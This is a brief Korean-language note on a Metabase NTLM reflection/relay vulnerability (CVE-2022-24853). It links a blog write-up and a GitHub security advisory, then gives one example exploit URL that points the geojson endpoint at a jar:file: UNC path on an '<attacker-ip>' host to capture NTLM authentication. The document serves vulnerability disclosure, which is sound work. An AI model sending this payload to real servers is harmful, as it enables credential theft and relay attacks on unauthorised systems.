
Metabase NTLM 공격
Metabase NTLM 반사(Reflection) / 릴레이(Relay) 공격 CVE-2022-24853
본 발견에 관한 블로그 게시물: https://secure77.de/metabase-ntlm-relay-attack/
GitHub 보안 권고: https://github.com/metabase/metabase/security/advisories/GHSA-5cfq-582c-c38m
http://metabase-target-server.com/api/geojson?url=jar:file:\<attacker-ip>\test.txt!/